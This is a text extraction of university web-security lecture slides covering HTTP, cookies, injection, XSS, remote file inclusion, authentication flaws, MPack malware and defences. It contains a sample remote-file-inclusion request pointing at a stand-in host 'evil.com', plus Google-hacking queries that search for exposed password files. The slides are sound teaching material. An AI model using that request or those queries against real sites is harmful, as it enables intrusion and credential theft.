CIT 380: Securing Computer Systemswaldenj/classes/2013/...– Use username/password on first...

CIT 380: Securing Computer Systems Slide #1

CIT 380: Securing Computer Systems

Web Security


Topics

1. HTTP 2. URLs3. HTML and the DOM4. Web Application Vulnerabilities5. Client-side Attacks6. Finding Web Vulnerabilities


Web Transactions

Web Browser

OS

Web Server

Network


HTTP: HyperText Transfer Protocol

Simple request/respond protocol– Request methods: GET, POST, HEAD, etc.– Protocol versions: 1.0, 1.1

Stateless– Each request independent of previous requests, i.e.

request #2 doesn’t know you authenticated in #1.– Applications responsible for handling state.

• Multiple state options: cookies, URLs, secret form parameters, supercookies.


HTTP Request

GET http://www.google.com/ HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*Accept-Language: en-us,en;q=0.5Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4

Method URL Protocol Version

Headers

Blank LineNo Data for GET method


HTTP Response

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Server: GWS/2.1

Date: Fri, 13 Oct 2006 03:16:30 GMT

<HTML> ... (page data) ... </HTML>

Protocol Version HTTP Response Code

Headers

BlankLine

Web Page Data


Different Perspectives

Client Side

• HTTP requests may reveal private info.

• HTTP responses may reveal private info.

• HTTP responses may include malicious code (Java, ActiveX, JavaScript)

Server Side

• HTTP requests may contain malicious input.

• HTTP requests may have forged authentication.

• HTTP responses may be intercepted.


Web-based Input

• Client and Server Perspectives• Types of Input

– URL parameters– HTML– Cookies– Javascript

• Cross-Site Scripting

URL Format

<scheme>://<user.pw>@<host>:<port>/<path>?<qstr>#<frag>Whitespace (space, tab, ff, etc.) marks end of URL.@ separates login credentials from hostname.: separates hostname from optional port number.? marks beginning of query string.& separates query parameters.# separates fragment identifier.%HH represents character with hex values.

: / ? # [ ] @ delimiters must be URL encoded.

Slide #9

URL Exampleshttp://example.com/http://[email protected]/http://example.com:8080/test/path.htmlhttp://example.com/search?q=foo&l=enhttp://example.com/index.html#section2http://%65xample.%63om/http://example.com&g=1234@167772161/


http://example.com/

http://example.com:8080/test/path.html

http://example.com/search?q=foo&l=en

http://example.com/index.html%23section2

http://example.com&[email protected]/

URL Parameters

Client controls query-string:– Cannot limit values to those specified in form.– Client may modify form and use.– Client may use intercepting proxy to modify

parameters between browser and server.Any character can be URL-encoded:

– Even if it doesn’t need to be.Any valid format may be used to disguise true destination of URL.

Slide #11

HTML<html>

<head> <title>This is a title</title>

</head> <body>

<p class=“only”>Hello world!</p> <img src=“images/hello.png” />

</body></html>



HTML Special Characters

< begins a tag> ends a tag

some browsers will auto-insert matching <‘ and “ enclosed attributes

optional unless spaces or other meaningful chars.& begins an HTML entity

entities used to represent special characters.

HTML EntitiesEntities can encode any Unicode character.

Reference UCS code point via the notation:&#nnnn; (decimal) or &#xhhhh; (hexadecimal)

Some common entities have names.¢ → ¢

Special characters must be encoded as entities:& → &< → <> → > " → " ' → '

Slide #14


Character Set Encoding

• Default: ISO-8859-1 (Latin-1)• Char sets dictate which chars are special• UTF-8 allows multiple representations • Force Latin-1 encoding of web page with:

– <META http-equiv=“Content-Type” content=“text/html; charset=ISO-8859-1”>

HTML Forms<form> tag

– action=URL destination for form input.

– method=get sends input as query string parameters

– method=post sends input as data in POST method

<input> tag– name=name of input.– type attribute specifies

checkbox, radio, text, etc.



HTTP POST Request

POST http://www.example.com/ HTTP/1.1Host: www.example.comUser-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*Accept-Language: en-us,en;q=0.5

Method URL Protocol Version

Headers

Blank Line

POST data

name=Jane+Doe&sex=female&color=green&over6feet=true&over200pounds=false&athleticability=NA


Hidden Fields

<input type=“hidden” name=“user” value=“james”>– Used to propagate data between HTTP requests

since protocol is stateless.– Clearly visible in HTML source.– User can modify hidden values since form can be

copied, modified to change hidden fields, then used to invoke script.

Document Object Model (DOM)• DOM connects

JavaScript and CSS to HTML documents.

• JavaScript can read and modify every element of HTML.

• Dynamic HTML (DHTML) = DOM + JavaScript + CSS.

• Capability used by threats in cross-site scripting attacks.


DHTML vs. Ajax



Cookies

Server to ClientContent-type: text/html Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb-

2014 23:59:00 GMTClient to Server

Content-type: text/html Cookie: foo=bar

Cookie FieldsExpires: if specified, cookie may be saved to disk and persist across sessions. If not, then cookie persists for duration of session.Domain: allows cookie to be sent to servers other than the hostname that sent the Set-Cookie header.Path: ensures that cookie is only returned when URL path component is under path.Secure: prevents cookie from being sent over non-encrypted connections.HttpOnly: removes ability to read cookie via document.cookie API in JavaScript to protect against XSS.

Slide #22

Cookie Security PolicyDomain parameter limits which servers are sent cookie in complex ways (see table).Path parameter limits which paths are sent cookies, but JavaScript from any path can read cookies.



Web Input SummaryClient Side

• URLs may not lead where they seem to.

• Cookies can be used to track your browsing.

• Pages may include malicious code (Java, ActiveX, Javascript)

Server Side

• Cookies aren’t confidential.• Hidden fields aren’t secret.• Client may use own forms.• URLs can have any format.• POST data can have any format.• Cookies can have any format.


Web Application Vulnerabilities

Common Vulnerability Types

CIT 380: Securing Computer SystemsSlide

#26


Injection

• Injection attacks trick an application into including unintended commands in the data send to an interpreter.

• Interpreters– Interpret strings as commands.– Ex: SQL, shell (cmd.exe, bash), LDAP, XPath

• Key Idea– Input data from the application is executed as code

by the interpreter.– Discussed in detail in its own lecture.


Cross-Site Attacks

• Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing.

• XSS used to obtain session ID for– Bank site (transfer money to attacker)– Shopping site (buy goods for attacker)

• Key ideas– Attacker sends malicious code to server.– Victim’s browser loads code from server and runs it.

• Discussed in detail in its own lecture.Slide #28


Insecure Remote File Inclusion• Insecure remote file inclusion

vulnerabilities allow an attack to trick the application into executing code provided by the attacker on another site.

• Dynamic code– Includes in PHP, Java, .NET– DTDs for XML documents

• Key Idea– Attacker controls pathname for inclusion.


PHP Remote Inclusion FlawA PHP product uses "require" or "include" statements, or equivalent statements, that use attacker-controlled data to identify code or HTML to be directly processed by the PHP interpreter before inclusion in the script.

<?php // index.php include('config.php');

include('include.php');

// Script body?>

<?php //config.php $server_root = '/my/path';

?>

<?php //include.php include($server_root . '/someotherfile.php');

?>

GET /include.php?server_root=http://evil.com/command.txt


Mitigating Remote File Inclusion1. Turn off remote file inclusion.2. Do not run code from uploaded files.3. Do not use user-supplied paths.4. Validate all paths before loading code.


Authentication• Authentication is the process of determining

a user’s identity.• Key Ideas

– HTTP is a stateless protocol.– Every request must be authenticated.– Use username/password on first request.– Use session IDs on subsequent queries.

Slide #32


Authentication Attacks• Sniffing passwords• Guessing passwords• Identity management attacks• Replay attacks• Session ID fixation• Session ID guessing


Identity Management Attacks

Auth requires identity management– User registration– Password changes and resets

Mitigations– Use CAPTCHAs to protect registration.– Don’t use easy to guess secret questions.– Don’t allow attacker to reset e-mail address that

new password is sent to.


Session ID GuessingDo session IDs show a pattern?

– How does changing username change ID?– How do session IDs change with time?

Brute forcing session IDs– Use program to try 1000s of session IDs.

Mitigating guessing attacks– Use a large key space (128+ bits).– Use a cryptographically random algorithm.


Mitigating Authentication Attacks

• Use SSL to prevent sniffing attacks.• Require strong passwords.• Use secure identity management.• Use a secure session ID mechanism.

– IDs chosen at random from large space.– Regenerate session IDs with each request.– Expire session IDs in short time.


Access Control

• Access control determines which users have access to which system resources.

• Levels of access control– Site– URL– Function– Function(parameters)– Data


Mitigating Broken Access Control

1. Check every access.2. Use whitelist model at every layer.3. Do not rely on client-level access control.4. Do not rely on security through obscurity.


Improper Error Handling• Applications can unintentionally leak

information about configuration, architecture, or sensitive data when handling errors improperly.

• Errors can provide too much data– Stack traces– SQL statements– Subsystem errors– User typos, such as passwords.


Example of Improper Error Handling

mySQL error with query SELECT COUNT(*) FROM nucleus_comment as c WHERE c.citem=90: Can't open file: 'nucleus_comment.MYI' (errno: 145)

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/exalt2/public_html/username/nucleus/libs/COMMENTS.php on line 124


Mitigating Improper Error Handling

1. Catch all exceptions.2. Check all error codes.3. Wrap application with catch-all handler.4. Send user-friendly message to user.5. Store details for debugging in log files.6. Don’t log passwords or other sensitive

data.


Insecure Storage• Storing sensitive data without encrypting it,

or using a weak encryption algorithm, or using a strong encryption system improperly.

• Problems– Not encrypting sensitive data.– Using home grown cryptography.– Insecure use of weak algorithms.– Storing keys in code or unprotected files.


Storage Recommendations

Hash algorithms– MD5 and SHA1 look insecure.– Use SHA256.

Encrypting data– Use AES with 128-bit keys.

Key generation– Generate random keys.– Use secure random source.


Mitigating Insecure Storage1. Use well studied public algorithms.2. Use truly random keys.3. Store keys in protected files.4. Review code to ensure that all sensitive

data is being encrypted.5. Check database to ensure that all sensitive

data is being encrypted.


Insecure Communication• Applications fail to encrypt sensitive data in

transit from client to server and vice-versa.• Need to protect

– User authentication and session data.– Sensitive data (CC numbers, SSNs)

• Key Idea– Use SSL for all authentication connections.


Mitigating Insecure Communication

1. Use SSL for all authenticated sessions.2. Use SSL for all sensitive data.3. Verify that SSL is used with automated

vulnerability scanning tools.


Client-side Attacks

• Buffer Overflow– 2004 iframe– 2004-05 jpeg

• Remote Code– ActiveX– Flash– Java– Javascript


ActiveXExecutable code downloaded from server

– Activated by HTML object tag.– Native code binary format.

Security model– Digital signature

authentication– Zone-based access

control– No control once

execution starts


Java• Digital signature authentication• Sandbox

Sandbox Components• Byte-code verifier• Class loader• Security manager

Sandbox Limits• Cannot read/write files.• Cannot start programs.• Network access limited

to originating host.


MPack Browser Malware1. User visits site.2. Response contains

iframe.3. Iframe code causes

browser to make request.4. Request redirected to

MPack server.5. Server identifies OS and

browser, sends exploit that will work for client configuration.

6. Exploit causes browser to send request for code.

7. Mpack downloader sent to user, begins d/ling other malware.


MPackCommercial underground PHP software

– Sold for $700-1000.– Comes with one year technical support.– Can purchase updated exploits for $50-150.

Infection Techniques– Hacking into websites and adding iframes.– Sending HTML mail with iframes.– Typo-squatting domains.– Use GoogleAds to draw traffic.


Client Protection• Disable ActiveX and Java.• Use NoScript to limit Javascript.• Run browser with least privilege.• Use a browser sandbox:

– VMWare Virtual Browser Appliance– Protected Mode IE (Windows Vista)

• Goto sites directly instead of using links.• Use plain text e-mail instead of HTML.• Patch your browser regularly.• Use a personal firewall.


Web Reconnaissance

Google Hacking– “Index of” +passwd– “Index of” +password.txt– filetype:htaccess user– allinurl:_vti_bin shtml.exe

Web Crawling– wget --mirror http://www.w3.org/ -o /mirror/w3

Santy Worm used Googleto find vulnerable servers.

Proxies and Vulnerability Scanners

• Achilles• OWASP Web Scarab• Paros Proxy• SPI Dynamics WebInspect

Web Browser Web Server

Edit Web Data• URL• Cookies• Form Data

Web Proxy


Achilles Proxy Screenshot


Key Points• All input can be dangerous

– URLs, Cookies, Executable content• Consider both client and server security.• SSL is not a panacea

– Confidentiality + integrity of data in transit.– Input-based attacks can be delivered via SSL.

• Top Web Application Vulnerabilities– Cross-Site Scripting– SQL Injection– Remote File Inclusion

References1. Andreu, Professional Penetration Testing for Web Applications, Wrox, 2006.2. Friedl, SQL Injection Attacks by Example, http://unixwiz.net/techtips/sql-

injection.html, 2007.3. Goodrich and Tammasia, Introduction to Computer Security, Pearson, 2011.4. IBM, IBM X-Force 2010 Mid-Year Trend and Risk Report, http://www-

935.ibm.com/services/us/iss/xforce/trendreports/, 2010.5. OWASP, OWASP Top 10 for 2010,

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project6. Neils Provos et. al., “The Ghost in the Browser: Analysis of Web-based

Malware,” Hotbots 07, http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf, 2007.

7. Samy, “MySpace Worm Explanation,” http://namb.la/popular/tech.html, 2005.

8. Joel Scambray, Mike Shema, Caleb Sima, Hacking Exposed Web Applications, Second Edition, McGraw-Hill, 2006.

9. Stuttart and Pinto, The Web Application Hacker’s Handbook, 2nd ed, Wiley, 2011.

10. Michal Zalewski, The Tangled Web: A Guide to Securing Modern Web Applications, No Starch Press, 2012.

http://unixwiz.net/techtips/sql-injection.html

http://www-935.ibm.com/services/us/iss/xforce/trendreports/

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf

http://namb.la/popular/tech.html

CIT 380: Securing Computer Systemswaldenj/classes/2013/...– Use username/password on first...

Documents

Transcript of CIT 380: Securing Computer Systemswaldenj/classes/2013/...– Use username/password on first...